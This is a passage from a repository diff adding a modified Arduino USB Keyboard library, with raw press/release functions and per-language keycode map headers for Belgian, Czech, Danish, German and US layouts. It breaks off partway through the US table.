     499 + 
     500 + k = pgm_read_byte(_asciimap + k);
     501 + 
     502 + if (k & 0x80) { // it's a capital letter or other character reached with shift
     503 + _keyReport.modifiers |= 0x02; // the left shift modifier
     504 + k &= 0x7F;
     505 + }
     506 + if (k & 0x40) { // altgr modifier (RIGHT_ALT)
     507 + _keyReport.modifiers |= 0x40; // the left shift modifier
     508 + k &= 0x3F;
     509 + }
     510 + if (k == 0x03) { // special case 0x64
     511 + k = 0x64;
     512 + }
     513 + }
     514 + }
     515 +*/
     516 + // Add k to the key report only if it's not already present
     517 + // and if there is an empty slot.
     518 + 
     519 + _keyReport.modifiers = rawmodifiers;
     520 + 
     521 + if (_keyReport.keys[0] != k && _keyReport.keys[1] != k &&
     522 + _keyReport.keys[2] != k && _keyReport.keys[3] != k &&
     523 + _keyReport.keys[4] != k && _keyReport.keys[5] != k) {
     524 +
     525 + for (i=0; i<6; i++) {
     526 + if (_keyReport.keys[i] == 0x00) {
     527 + _keyReport.keys[i] = k;
     528 + break;
     529 + }
     530 + }
     531 + if (i == 6) {
     532 + setWriteError();
     533 + return 0;
     534 + }
     535 + }
     536 + sendReport(&_keyReport);
     537 + return 1;
     538 +}
     539 + 
     540 +// release() takes the specified key out of the persistent key report and
     541 +// sends the report. This tells the OS the key is no longer pressed and that
     542 +// it shouldn't be repeated any more.
     543 +size_t Keyboard_::release(uint8_t k)
     544 +{
     545 + uint8_t i;
     546 + 
     547 + if(k>=0xB0 && k<=0xDA){ //it's a non-printing key
     548 + if(k>=0xB5 && k<=0xBE){ //0xB5-0xBE reserved for special non printing keys asigned manually
     549 + if(k==0xB5) k=0x65; //0xB5 ==> 0x76 (MENU key)
     550 + if(k==0xB6) k=0x46; //0xB6 ==> 0x46 (PRINT Scr key)
     551 + }
     552 + else{
     553 + k = k - 136;
     554 + }
     555 + }
     556 + else {
     557 + if(k>=0x80 && k<=0x87){ //it's a modifier
     558 + _keyReport.modifiers &= ~(1<<(k-128));
     559 + k = 0;
     560 + }
     561 + else{ //it's a printable key
     562 + 
     563 + k = pgm_read_byte(_asciimap + k);
     564 + 
     565 + if (k & 0x80) { // it's a capital letter or other character reached with shift
     566 + _keyReport.modifiers &= ~(0x02); // the left shift modifier
     567 + k &= 0x7F;
     568 + }
     569 + if (k & 0x40) {
     570 + _keyReport.modifiers &= ~(0x40); // the altgr shift modifier
     571 + k &= 0x3F;
     572 + }
     573 + if (k == 0x03) { // special case 0x64
     574 + k = 0x64;
     575 + }
     576 + 
     577 + if (k >= 136) { // it's a non-printing key (not a modifier)
     578 + k = k - 136;
     579 + }
     580 + }
     581 + }
     582 + 
     583 + // Test the key report to see if k is present. Clear it if it exists.
     584 + // Check all positions in case the key is present more than once (which it shouldn't be)
     585 + for (i=0; i<6; i++) {
     586 + if (0 != k && _keyReport.keys[i] == k) {
     587 + _keyReport.keys[i] = 0x00;
     588 + }
     589 + }
     590 + 
     591 + sendReport(&_keyReport);
     592 + return 1;
     593 +}
     594 + 
     595 +//////Joel
     596 + 
     597 +size_t Keyboard_::rawrelease(uint8_t k, uint8_t rawmodifiers)
     598 +{
     599 + uint8_t i;
     600 + 
     601 +/*
     602 + if(k>=0xB0 && k<=0xDA){ //it's a non-printing key
     603 + if(k>=0xB5 && k<=0xBE){ //0xB5-0xBE reserved for special non printing keys asigned manually
     604 + if(k==0xB5) k=0x65; //0xB5 ==> 0x76 (MENU key)
     605 + if(k==0xB6) k=0x46; //0xB6 ==> 0x46 (PRINT Scr key)
     606 + }
     607 + else{
     608 + k = k - 136;
     609 + }
     610 + }
     611 + else {
     612 + if(k>=0x80 && k<=0x87){ //it's a modifier
     613 + _keyReport.modifiers &= ~(1<<(k-128));
     614 + k = 0;
     615 + }
     616 + else{ //it's a printable key
     617 + 
     618 + k = pgm_read_byte(_asciimap + k);
     619 + 
     620 + if (k & 0x80) { // it's a capital letter or other character reached with shift
     621 + _keyReport.modifiers &= ~(0x02); // the left shift modifier
     622 + k &= 0x7F;
     623 + }
     624 + if (k & 0x40) {
     625 + _keyReport.modifiers &= ~(0x40); // the altgr shift modifier
     626 + k &= 0x3F;
     627 + }
     628 + if (k == 0x03) { // special case 0x64
     629 + k = 0x64;
     630 + }
     631 + 
     632 + if (k >= 136) { // it's a non-printing key (not a modifier)
     633 + k = k - 136;
     634 + }
     635 + }
     636 + }
     637 +*/
     638 + 
     639 + _keyReport.modifiers = rawmodifiers;
     640 + 
     641 + // Test the key report to see if k is present. Clear it if it exists.
     642 + // Check all positions in case the key is present more than once (which it shouldn't be)
     643 + for (i=0; i<6; i++) {
     644 + if (0 != k && _keyReport.keys[i] == k) {
     645 + _keyReport.keys[i] = 0x00;
     646 + }
     647 + }
     648 + 
     649 + sendReport(&_keyReport);
     650 + return 1;
     651 +}
     652 + 
     653 + 
     654 +void Keyboard_::releaseAll(void)
     655 +{
     656 + _keyReport.keys[0] = 0;
     657 + _keyReport.keys[1] = 0;
     658 + _keyReport.keys[2] = 0;
     659 + _keyReport.keys[3] = 0;
     660 + _keyReport.keys[4] = 0;
     661 + _keyReport.keys[5] = 0;
     662 + _keyReport.modifiers = 0;
     663 + sendReport(&_keyReport);
     664 +}
     665 + 
     666 +size_t Keyboard_::write(uint8_t c)
     667 +{
     668 + uint8_t p = press(c); // Keydown
     669 + release(c); // Keyup
     670 + return p; // just return the result of press() since release() almost always returns 1
     671 +}
     672 + 
     673 +Keyboard_ Keyboard;
     674 + 
     675 +#endif
     676 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/Keyboard.h
     1 +/*
     2 + Keyboard.h
     3 + 
     4 + Copyright (c) 2015, Arduino LLC
     5 + Original code (pre-library): Copyright (c) 2011, Peter Barrett
     6 + 
     7 + This library is free software; you can redistribute it and/or
     8 + modify it under the terms of the GNU Lesser General Public
     9 + License as published by the Free Software Foundation; either
     10 + version 2.1 of the License, or (at your option) any later version.
     11 + 
     12 + This library is distributed in the hope that it will be useful,
     13 + but WITHOUT ANY WARRANTY; without even the implied warranty of
     14 + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
     15 + Lesser General Public License for more details.
     16 + 
     17 + You should have received a copy of the GNU Lesser General Public
     18 + License along with this library; if not, write to the Free Software
     19 + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
     20 +*/
     21 + 
     22 +#ifndef KEYBOARD_h
     23 +#define KEYBOARD_h
     24 + 
     25 +/*
     26 +Keyboard layout configuration
     27 + 
     28 +You can use:
     29 +- kbd_be_be
     30 +- kbd_cz_cz
     31 +- kbd_da_dk
     32 +- kbd_de_de
     33 +- kbd_en_us
     34 +- kbd_es_es
     35 +- kbd_fi_fi
     36 +- kbd_fr_fr
     37 +- kbd_it_it
     38 +- kbd_pt_pt
     39 +- kbd_tr_tr
     40 + 
     41 +Only es_es and en_us are full-tested.
     42 + 
     43 + */
     44 + 
     45 +#define kbd_es_es
     46 + 
     47 +#include "HID.h"
     48 + 
     49 +#if !defined(_USING_HID)
     50 + 
     51 +#warning "Using legacy HID core (non pluggable)"
     52 + 
     53 +#else
     54 + 
     55 +//================================================================================
     56 +//================================================================================
     57 +// Keyboard
     58 + 
     59 +#define KEY_LEFT_CTRL 0x80
     60 +#define KEY_LEFT_SHIFT 0x81
     61 +#define KEY_LEFT_ALT 0x82
     62 +#define KEY_LEFT_GUI 0x83
     63 +#define KEY_RIGHT_CTRL 0x84
     64 +#define KEY_RIGHT_SHIFT 0x85
     65 +#define KEY_RIGHT_ALT 0x86
     66 +#define KEY_RIGHT_GUI 0x87
     67 + 
     68 +#define KEY_UP_ARROW 0xDA
     69 +#define KEY_DOWN_ARROW 0xD9
     70 +#define KEY_LEFT_ARROW 0xD8
     71 +#define KEY_RIGHT_ARROW 0xD7
     72 +#define KEY_BACKSPACE 0xB2
     73 +#define KEY_TAB 0xB3
     74 +#define KEY_RETURN 0xB0
     75 +#define KEY_ESC 0xB1
     76 +#define KEY_INSERT 0xD1
     77 +#define KEY_DELETE 0xD4
     78 +#define KEY_PAGE_UP 0xD3
     79 +#define KEY_PAGE_DOWN 0xD6
     80 +#define KEY_HOME 0xD2
     81 +#define KEY_END 0xD5
     82 +#define KEY_CAPS_LOCK 0xC1
     83 +#define KEY_F1 0xC2
     84 +#define KEY_F2 0xC3
     85 +#define KEY_F3 0xC4
     86 +#define KEY_F4 0xC5
     87 +#define KEY_F5 0xC6
     88 +#define KEY_F6 0xC7
     89 +#define KEY_F7 0xC8
     90 +#define KEY_F8 0xC9
     91 +#define KEY_F9 0xCA
     92 +#define KEY_F10 0xCB
     93 +#define KEY_F11 0xCC
     94 +#define KEY_F12 0xCD
     95 + 
     96 +//0xB5-0xBE reserved for special non printing keys
     97 +#define KEY_MENU 0xB5
     98 +#define KEY_PRINTSCREEN 0xB6
     99 + 
     100 +// Low level key report: up to 6 keys and shift, ctrl etc at once
     101 +typedef struct
     102 +{
     103 + uint8_t modifiers;
     104 + uint8_t reserved;
     105 + uint8_t keys[6];
     106 +} KeyReport;
     107 + 
     108 +class Keyboard_ : public Print
     109 +{
     110 +private:
     111 + KeyReport _keyReport;
     112 + void sendReport(KeyReport* keys);
     113 +public:
     114 + Keyboard_(void);
     115 + void begin(void);
     116 + void end(void);
     117 + size_t write(uint8_t k);
     118 + size_t press(uint8_t k);
     119 + size_t release(uint8_t k);
     120 + size_t rawpress(uint8_t k, uint8_t rawmodifiers);
     121 + size_t rawrelease(uint8_t k, uint8_t rawmodifiers);
     122 + void releaseAll(void);
     123 +};
     124 +extern Keyboard_ Keyboard;
     125 + 
     126 +#endif
     127 +#endif
     128 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/be_be.h
     1 +#ifndef _kbd_lang
     2 +#define _kbd_lang
     3 + 
     4 +extern
     5 +const uint8_t _asciimap[128] PROGMEM;
     6 + 
     7 +#define SHIFT 0x80
     8 +const uint8_t _asciimap[128] =
     9 +{
     10 + 0x00, // NUL
     11 + 0x00, // SOH
     12 + 0x00, // STX
     13 + 0x00, // ETX
     14 + 0x00, // EOT
     15 + 0x00, // ENQ
     16 + 0x00, // ACK
     17 + 0x00, // BEL
     18 + 0x2a, // BS Backspace
     19 + 0x2b, // TAB Tab
     20 + 0x28, // LF Enter
     21 + 0x00, // VT
     22 + 0x00, // FF
     23 + 0x00, // CR
     24 + 0x00, // SO
     25 + 0x00, // SI
     26 + 0x00, // DEL
     27 + 0x00, // DC1
     28 + 0x00, // DC2
     29 + 0x00, // DC3
     30 + 0x00, // DC4
     31 + 0x00, // NAK
     32 + 0x00, // SYN
     33 + 0x00, // ETB
     34 + 0x00, // CAN
     35 + 0x00, // EM
     36 + 0x00, // SUB
     37 + 0x00, // ESC
     38 + 0x00, // FS
     39 + 0x00, // GS
     40 + 0x00, // RS
     41 + 0x00, // US
     42 + 0x2c, // ' '
     43 + 0x25, // !
     44 + 0x20, // "
     45 + 0x20, // #
     46 + 0x30, // $
     47 + 0x34|SHIFT, // %
     48 + 0x1e, // &
     49 + 0x21, // '
     50 + 0x22, // (
     51 + 0x2d, // )
     52 + 0x30|SHIFT, // *
     53 + 0x38|SHIFT, // +
     54 + 0x10, // ,
     55 + 0x2e, // -
     56 + 0x36|SHIFT, // .
     57 + 0x37|SHIFT, // /
     58 + 0x27|SHIFT, // 0
     59 + 0x1e|SHIFT, // 1
     60 + 0x1f|SHIFT, // 2
     61 + 0x20|SHIFT, // 3
     62 + 0x21|SHIFT, // 4
     63 + 0x22|SHIFT, // 5
     64 + 0x23|SHIFT, // 6
     65 + 0x24|SHIFT, // 7
     66 + 0x25|SHIFT, // 8
     67 + 0x26|SHIFT, // 9
     68 + 0x37, // :
     69 + 0x36, // ;
     70 + 0x64, // <
     71 + 0x38, // =
     72 + 0x64|SHIFT, // >
     73 + 0x10|SHIFT, // ?
     74 + 0x27, // @
     75 + 0x14|SHIFT, // A
     76 + 0x05|SHIFT, // B
     77 + 0x06|SHIFT, // C
     78 + 0x07|SHIFT, // D
     79 + 0x08|SHIFT, // E
     80 + 0x09|SHIFT, // F
     81 + 0x0a|SHIFT, // G
     82 + 0x0b|SHIFT, // H
     83 + 0x0c|SHIFT, // I
     84 + 0x0d|SHIFT, // J
     85 + 0x0e|SHIFT, // K
     86 + 0x0f|SHIFT, // L
     87 + 0x33|SHIFT, // M
     88 + 0x11|SHIFT, // N
     89 + 0x12|SHIFT, // O
     90 + 0x13|SHIFT, // P
     91 + 0x04|SHIFT, // Q
     92 + 0x15|SHIFT, // R
     93 + 0x16|SHIFT, // S
     94 + 0x17|SHIFT, // T
     95 + 0x18|SHIFT, // U
     96 + 0x19|SHIFT, // V
     97 + 0x1d|SHIFT, // W
     98 + 0x1b|SHIFT, // X
     99 + 0x1c|SHIFT, // Y
     100 + 0x1a|SHIFT, // Z
     101 + 0x22, // [
     102 + 0x64, // bslash
     103 + 0x30, // ]
     104 + 0x22, // ^
     105 + 0x2e|SHIFT, // _
     106 + 0x24, // `
     107 + 0x14, // a
     108 + 0x05, // b
     109 + 0x06, // c
     110 + 0x07, // d
     111 + 0x08, // e
     112 + 0x09, // f
     113 + 0x0a, // g
     114 + 0x0b, // h
     115 + 0x0c, // i
     116 + 0x0d, // j
     117 + 0x0e, // k
     118 + 0x0f, // l
     119 + 0x33, // m
     120 + 0x11, // n
     121 + 0x12, // o
     122 + 0x13, // p
     123 + 0x04, // q
     124 + 0x15, // r
     125 + 0x16, // s
     126 + 0x17, // t
     127 + 0x18, // u
     128 + 0x19, // v
     129 + 0x1d, // w
     130 + 0x1b, // x
     131 + 0x1c, // y
     132 + 0x1a, // z
     133 + 0x21, // {
     134 + 0x1e, // |
     135 + 0x27, // }
     136 + 0x38, // ~
     137 + 0 // DEL
     138 +};
     139 +#endif
     140 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/cz_cz.h
     1 +#ifndef _kbd_lang
     2 +#define _kbd_lang
     3 + 
     4 +extern
     5 +const uint8_t _asciimap[128] PROGMEM;
     6 + 
     7 +#define SHIFT 0x80
     8 +const uint8_t _asciimap[128] =
     9 +{
     10 + 0x00, // NUL
     11 + 0x00, // SOH
     12 + 0x00, // STX
     13 + 0x00, // ETX
     14 + 0x00, // EOT
     15 + 0x00, // ENQ
     16 + 0x00, // ACK
     17 + 0x00, // BEL
     18 + 0x2a, // BS Backspace
     19 + 0x2b, // TAB Tab
     20 + 0x28, // LF Enter
     21 + 0x00, // VT
     22 + 0x00, // FF
     23 + 0x00, // CR
     24 + 0x00, // SO
     25 + 0x00, // SI
     26 + 0x00, // DEL
     27 + 0x00, // DC1
     28 + 0x00, // DC2
     29 + 0x00, // DC3
     30 + 0x00, // DC4
     31 + 0x00, // NAK
     32 + 0x00, // SYN
     33 + 0x00, // ETB
     34 + 0x00, // CAN
     35 + 0x00, // EM
     36 + 0x00, // SUB
     37 + 0x00, // ESC
     38 + 0x00, // FS
     39 + 0x00, // GS
     40 + 0x00, // RS
     41 + 0x00, // US
     42 + 
     43 + 0x2c, // ' '
     44 + 0x34|SHIFT, // !
     45 + 0x33|SHIFT, // "
     46 + 0x1b, // #
     47 + 0x33, // $
     48 + 0x2d|SHIFT, // %
     49 + 0x06, // &
     50 + 0x31|SHIFT, // '
     51 + 0x30|SHIFT, // (
     52 + 0x30, // )
     53 + 0x38, // *
     54 + 0x1e, // +
     55 + 0x36, // ,
     56 + 0x38, // -
     57 + 0x37, // .
     58 + 0x2f|SHIFT, // /
     59 + 0x27|SHIFT, // 0
     60 + 0x1e|SHIFT, // 1
     61 + 0x1f|SHIFT, // 2
     62 + 0x20|SHIFT, // 3
     63 + 0x21|SHIFT, // 4
     64 + 0x22|SHIFT, // 5
     65 + 0x23|SHIFT, // 6
     66 + 0x24|SHIFT, // 7
     67 + 0x25|SHIFT, // 8
     68 + 0x26|SHIFT, // 9
     69 + 0x37|SHIFT, // :
     70 + 0x35, // ;
     71 + 0x36, // <
     72 + 0x2d, // =
     73 + 0x37, // >
     74 + 0x36|SHIFT, // ?
     75 + 0x19, // @
     76 + 0x04|SHIFT, // A
     77 + 0x05|SHIFT, // B
     78 + 0x06|SHIFT, // C
     79 + 0x07|SHIFT, // D
     80 + 0x08|SHIFT, // E
     81 + 0x09|SHIFT, // F
     82 + 0x0a|SHIFT, // G
     83 + 0x0b|SHIFT, // H
     84 + 0x0c|SHIFT, // I
     85 + 0x0d|SHIFT, // J
     86 + 0x0e|SHIFT, // K
     87 + 0x0f|SHIFT, // L
     88 + 0x10|SHIFT, // M
     89 + 0x11|SHIFT, // N
     90 + 0x12|SHIFT, // O
     91 + 0x13|SHIFT, // P
     92 + 0x14|SHIFT, // Q
     93 + 0x15|SHIFT, // R
     94 + 0x16|SHIFT, // S
     95 + 0x17|SHIFT, // T
     96 + 0x18|SHIFT, // U
     97 + 0x19|SHIFT, // V
     98 + 0x1a|SHIFT, // W
     99 + 0x1b|SHIFT, // X
     100 + 0x1d|SHIFT, // Y
     101 + 0x1c|SHIFT, // Z
     102 + 0x09, // [
     103 + 0x14, // bslash
     104 + 0x0a, // ]
     105 + 0x23|SHIFT, // ^
     106 + 0x38|SHIFT, // _
     107 + 0x35, // `
     108 + 0x04, // a
     109 + 0x05, // b
     110 + 0x06, // c
     111 + 0x07, // d
     112 + 0x08, // e
     113 + 0x09, // f
     114 + 0x0a, // g
     115 + 0x0b, // h
     116 + 0x0c, // i
     117 + 0x0d, // j
     118 + 0x0e, // k
     119 + 0x0f, // l
     120 + 0x10, // m
     121 + 0x11, // n
     122 + 0x12, // o
     123 + 0x13, // p
     124 + 0x14, // q
     125 + 0x15, // r
     126 + 0x16, // s
     127 + 0x17, // t
     128 + 0x18, // u
     129 + 0x19, // v
     130 + 0x1a, // w
     131 + 0x1b, // x
     132 + 0x1d, // y
     133 + 0x1c, // z
     134 + 0x05, // {
     135 + 0x1a, // |
     136 + 0x11, // }
     137 + 0x1e, // ~
     138 + 0 // DEL
     139 +};
     140 +#endif
     141 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/da_dk.h
     1 +#ifndef _kbd_lang
     2 +#define _kbd_lang
     3 + 
     4 +extern
     5 +const uint8_t _asciimap[128] PROGMEM;
     6 + 
     7 +#define SHIFT 0x80
     8 +const uint8_t _asciimap[128] =
     9 +{
     10 + 0x00, // NUL
     11 + 0x00, // SOH
     12 + 0x00, // STX
     13 + 0x00, // ETX
     14 + 0x00, // EOT
     15 + 0x00, // ENQ
     16 + 0x00, // ACK
     17 + 0x00, // BEL
     18 + 0x2a, // BS Backspace
     19 + 0x2b, // TAB Tab
     20 + 0x28, // LF Enter
     21 + 0x00, // VT
     22 + 0x00, // FF
     23 + 0x00, // CR
     24 + 0x00, // SO
     25 + 0x00, // SI
     26 + 0x00, // DEL
     27 + 0x00, // DC1
     28 + 0x00, // DC2
     29 + 0x00, // DC3
     30 + 0x00, // DC4
     31 + 0x00, // NAK
     32 + 0x00, // SYN
     33 + 0x00, // ETB
     34 + 0x00, // CAN
     35 + 0x00, // EM
     36 + 0x00, // SUB
     37 + 0x00, // ESC
     38 + 0x00, // FS
     39 + 0x00, // GS
     40 + 0x00, // RS
     41 + 0x00, // US
     42 + 
     43 + 0x2c, // ' '
     44 + 0x1e|SHIFT, // !
     45 + 0x1f|SHIFT, // "
     46 + 0x20|SHIFT, // #
     47 + 0x21, // $
     48 + 0x22|SHIFT, // %
     49 + 0x23|SHIFT, // &
     50 + 0x31, // '
     51 + 0x25|SHIFT, // (
     52 + 0x26|SHIFT, // )
     53 + 0x31|SHIFT, // *
     54 + 0x2d, // +
     55 + 0x36, // ,
     56 + 0x38, // -
     57 + 0x37, // .
     58 + 0x24|SHIFT, // /
     59 + 0x27, // 0
     60 + 0x1e, // 1
     61 + 0x1f, // 2
     62 + 0x20, // 3
     63 + 0x21, // 4
     64 + 0x22, // 5
     65 + 0x23, // 6
     66 + 0x24, // 7
     67 + 0x25, // 8
     68 + 0x26, // 9
     69 + 0x37|SHIFT, // :
     70 + 0x36|SHIFT, // ;
     71 + 0x64, // <
     72 + 0x27|SHIFT, // =
     73 + 0x64|SHIFT, // >
     74 + 0x2d|SHIFT, // ?
     75 + 0x1f, // @
     76 + 0x04|SHIFT, // A
     77 + 0x05|SHIFT, // B
     78 + 0x06|SHIFT, // C
     79 + 0x07|SHIFT, // D
     80 + 0x08|SHIFT, // E
     81 + 0x09|SHIFT, // F
     82 + 0x0a|SHIFT, // G
     83 + 0x0b|SHIFT, // H
     84 + 0x0c|SHIFT, // I
     85 + 0x0d|SHIFT, // J
     86 + 0x0e|SHIFT, // K
     87 + 0x0f|SHIFT, // L
     88 + 0x10|SHIFT, // M
     89 + 0x11|SHIFT, // N
     90 + 0x12|SHIFT, // O
     91 + 0x13|SHIFT, // P
     92 + 0x14|SHIFT, // Q
     93 + 0x15|SHIFT, // R
     94 + 0x16|SHIFT, // S
     95 + 0x17|SHIFT, // T
     96 + 0x18|SHIFT, // U
     97 + 0x19|SHIFT, // V
     98 + 0x1a|SHIFT, // W
     99 + 0x1b|SHIFT, // X
     100 + 0x1c|SHIFT, // Y
     101 + 0x1d|SHIFT, // Z
     102 + 0x25, // [
     103 + 0x64, // bslash
     104 + 0x26, // ]
     105 + 0x30|SHIFT, // ^
     106 + 0x38|SHIFT, // _
     107 + 0x2e|SHIFT, // `
     108 + 0x04, // a
     109 + 0x05, // b
     110 + 0x06, // c
     111 + 0x07, // d
     112 + 0x08, // e
     113 + 0x09, // f
     114 + 0x0a, // g
     115 + 0x0b, // h
     116 + 0x0c, // i
     117 + 0x0d, // j
     118 + 0x0e, // k
     119 + 0x0f, // l
     120 + 0x10, // m
     121 + 0x11, // n
     122 + 0x12, // o
     123 + 0x13, // p
     124 + 0x14, // q
     125 + 0x15, // r
     126 + 0x16, // s
     127 + 0x17, // t
     128 + 0x18, // u
     129 + 0x19, // v
     130 + 0x1a, // w
     131 + 0x1b, // x
     132 + 0x1c, // y
     133 + 0x1d, // z
     134 + 0x24, // {
     135 + 0x2e, // |
     136 + 0x27, // }
     137 + 0x30, // ~
     138 + 0 // DEL
     139 +};
     140 +#endif
     141 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/de_de.h
     1 +#ifndef _kbd_lang
     2 +#define _kbd_lang
     3 + 
     4 +extern
     5 +const uint8_t _asciimap[128] PROGMEM;
     6 + 
     7 +#define SHIFT 0x80
     8 +const uint8_t _asciimap[128] =
     9 +{
     10 + 0x00, // NUL 0
     11 + 0x00, // SOH
     12 + 0x00, // STX
     13 + 0x00, // ETX
     14 + 0x00, // EOT
     15 + 0x00, // ENQ
     16 + 0x00, // ACK
     17 + 0x00, // BEL
     18 + 0x2a, // BS Backspace
     19 + 0x2b, // TAB Tab
     20 + 0x28, // LF Enter 10
     21 + 0x00, // VT
     22 + 0x00, // FF
     23 + 0x00, // CR
     24 + 0x00, // SO
     25 + 0x00, // SI
     26 + 0x00, // DEL
     27 + 0x00, // DC1
     28 + 0x00, // DC2
     29 + 0x00, // DC3
     30 + 0x00, // DC4 20
     31 + 0x00, // NAK
     32 + 0x00, // SYN
     33 + 0x00, // ETB
     34 + 0x00, // CAN
     35 + 0x00, // EM
     36 + 0x00, // SUB
     37 + 0x00, // ESC
     38 + 0x00, // FS
     39 + 0x00, // GS
     40 + 0x00, // RS 30
     41 + 0x00, // US
     42 + 
     43 + 0x2c, // ' '
     44 + 0x1e|SHIFT, // !
     45 + 0x1f|SHIFT, // "
     46 + 0x31, // #
     47 + 0x21|SHIFT, // $
     48 + 0x22|SHIFT, // %
     49 + 0x23|SHIFT, // &
     50 + 0x31|SHIFT, // '
     51 + 0x25|SHIFT, // ( 40
     52 + 0x26|SHIFT, // )
     53 + 0x30|SHIFT, // *
     54 + 0x30, // +
     55 + 0x36, // ,
     56 + 0x38, // -
     57 + 0x37, // .
     58 + 0x24|SHIFT, // /
     59 + 0x27, // 0
     60 + 0x1e, // 1
     61 + 0x1f, // 2 50
     62 + 0x20, // 3
     63 + 0x21, // 4
     64 + 0x22, // 5
     65 + 0x23, // 6
     66 + 0x24, // 7
     67 + 0x25, // 8
     68 + 0x26, // 9
     69 + 0x37|SHIFT, // :
     70 + 0x36|SHIFT, // ;
     71 + 0x64, // < 60
     72 + 0x27|SHIFT, // =
     73 + 0x64|SHIFT, // >
     74 + 0x2d|SHIFT, // ?
     75 + 0x14, // @
     76 + 0x04|SHIFT, // A
     77 + 0x05|SHIFT, // B
     78 + 0x06|SHIFT, // C
     79 + 0x07|SHIFT, // D
     80 + 0x08|SHIFT, // E
     81 + 0x09|SHIFT, // F 70
     82 + 0x0a|SHIFT, // G
     83 + 0x0b|SHIFT, // H
     84 + 0x0c|SHIFT, // I
     85 + 0x0d|SHIFT, // J
     86 + 0x0e|SHIFT, // K
     87 + 0x0f|SHIFT, // L
     88 + 0x10|SHIFT, // M
     89 + 0x11|SHIFT, // N
     90 + 0x12|SHIFT, // O
     91 + 0x13|SHIFT, // P 80
     92 + 0x14|SHIFT, // Q
     93 + 0x15|SHIFT, // R
     94 + 0x16|SHIFT, // S
     95 + 0x17|SHIFT, // T
     96 + 0x18|SHIFT, // U
     97 + 0x19|SHIFT, // V
     98 + 0x1a|SHIFT, // W
     99 + 0x1b|SHIFT, // X
     100 + 0x1d|SHIFT, // Y
     101 + 0x1c|SHIFT, // Z 90
     102 + 0x25, // [
     103 + 0x2d, // bslash
     104 + 0x26, // ]
     105 + 0x35, // ^
     106 + 0x38|SHIFT, // _
     107 + 0x2e|SHIFT, // `
     108 + 0x04, // a
     109 + 0x05, // b
     110 + 0x06, // c
     111 + 0x07, // d 100
     112 + 0x08, // e
     113 + 0x09, // f
     114 + 0x0a, // g
     115 + 0x0b, // h
     116 + 0x0c, // i
     117 + 0x0d, // j
     118 + 0x0e, // k
     119 + 0x0f, // l
     120 + 0x10, // m
     121 + 0x11, // n 110
     122 + 0x12, // o
     123 + 0x13, // p
     124 + 0x14, // q
     125 + 0x15, // r
     126 + 0x16, // s
     127 + 0x17, // t
     128 + 0x18, // u
     129 + 0x19, // v
     130 + 0x1a, // w
     131 + 0x1b, // x 120
     132 + 0x1d, // y
     133 + 0x1c, // z
     134 + 0x24, // {
     135 + 0x64, // |
     136 + 0x27, // }
     137 + 0x30, // ~
     138 + 0 // DEL 127
     139 +};
     140 +#endif
     141 + 
  • ■ ■ ■ ■ ■ ■
    libraries/Keyboard/src/en_us.h
     1 +#ifndef _kbd_lang
     2 +#define _kbd_lang
     3 + 
     4 +extern
     5 +const uint8_t _asciimap[128] PROGMEM;
     6 + 
     7 +#define SHIFT 0x80
     8 +const uint8_t _asciimap[128] =
     9 +{
     10 + 0x00, // NUL
     11 + 0x00, // SOH
     12 + 0x00, // STX
     13 + 0x00, // ETX
     14 + 0x00, // EOT
     15 + 0x00, // ENQ
     16 + 0x00, // ACK
     17 + 0x00, // BEL
     18 + 0x2a, // BS Backspace
     19 + 0x2b, // TAB Tab
     20 + 0x28, // LF Enter
     21 + 0x00, // VT
     22 + 0x00, // FF
     23 + 0x00, // CR
     24 + 0x00, // SO
     25 + 0x00, // SI
     26 + 0x00, // DEL
     27 + 0x00, // DC1
     28 + 0x00, // DC2
     29 + 0x00, // DC3
     30 + 0x00, // DC4
     31 + 0x00, // NAK
     32 + 0x00, // SYN
     33 + 0x00, // ETB
     34 + 0x00, // CAN
     35 + 0x00, // EM
     36 + 0x00, // SUB
     37 + 0x00, // ESC
     38 + 0x00, // FS
     39 + 0x00, // GS
     40 + 0x00, // RS
     41 + 0x00, // US
     42 + 
     43 + 0x2c, // ' '
     44 + 0x1e|SHIFT, // !
     45 + 0x34|SHIFT, // "
     46 + 0x20|SHIFT, // #
     47 + 0x21|SHIFT, // $
     48 + 0x22|SHIFT, // %
     49 + 0x24|SHIFT, // &
     50 + 0x34, // '
     51 + 0x26|SHIFT, // (
     52 + 0x27|SHIFT, // )
     53 + 0x25|SHIFT, // *
     54 + 0x2e|SHIFT, // +
     55 + 0x36, // ,
     56 + 0x2d, // -
     57 + 0x37, // .
     58 + 0x38, // /
     59 + 0x27, // 0
     60 + 0x1e, // 1
     61 + 0x1f, // 2
     62 + 0x20, // 3
     63 + 0x21, // 4
     64 + 0x22, // 5
     65 + 0x23, // 6
     66 + 0x24, // 7
     67 + 0x25, // 8
     68 + 0x26, // 9
     69 + 0x33|SHIFT, // :
     70 + 0x33, // ;
     71 + 0x36|SHIFT, // <
     72 + 0x2e, // =
     73 + 0x37|SHIFT, // >
     74 + 0x38|SHIFT, // ?
     75 + 0x1f|SHIFT, // @
     76 + 0x04|SHIFT, // A
     77 + 0x05|SHIFT, // B
     78 + 0x06|SHIFT, // C
     79 + 0x07|SHIFT, // D
     80 + 0x08|SHIFT, // E
     81 + 0x09|SHIFT, // F
     82 + 0x0a|SHIFT, // G
     83 + 0x0b|SHIFT, // H
     84 + 0x0c|SHIFT, // I
     85 + 0x0d|SHIFT, // J
     86 + 0x0e|SHIFT, // K
     87 + 0x0f|SHIFT, // L
     88 + 0x10|SHIFT, // M
     89 + 0x11|SHIFT, // N
     90 + 0x12|SHIFT, // O
     91 + 0x13|SHIFT, // P
     92 + 0x14|SHIFT, // Q
     93 + 0x15|SHIFT, // R
     94 + 0x16|SHIFT, // S
     95 + 0x17|SHIFT, // T
     96 + 0x18|SHIFT, // U
     97 + 0x19|SHIFT, // V
     98 + 0x1a|SHIFT, // W
     99 + 0x1b|SHIFT, // X
     100 + 0x1c|SHIFT, // Y
     101 + 0x1d|SHIFT, // Z
     102 + 0x2f, // [
     103 + 0x31, // bslash
     104 + 0x30, // ]
     105 + 0x23|SHIFT, // ^
     106 + 0x2d|SHIFT, // _
     107 + 0x35, // `
     108 + 0x04, // a
     109 + 0x05, // b
     110 + 0x06, // c
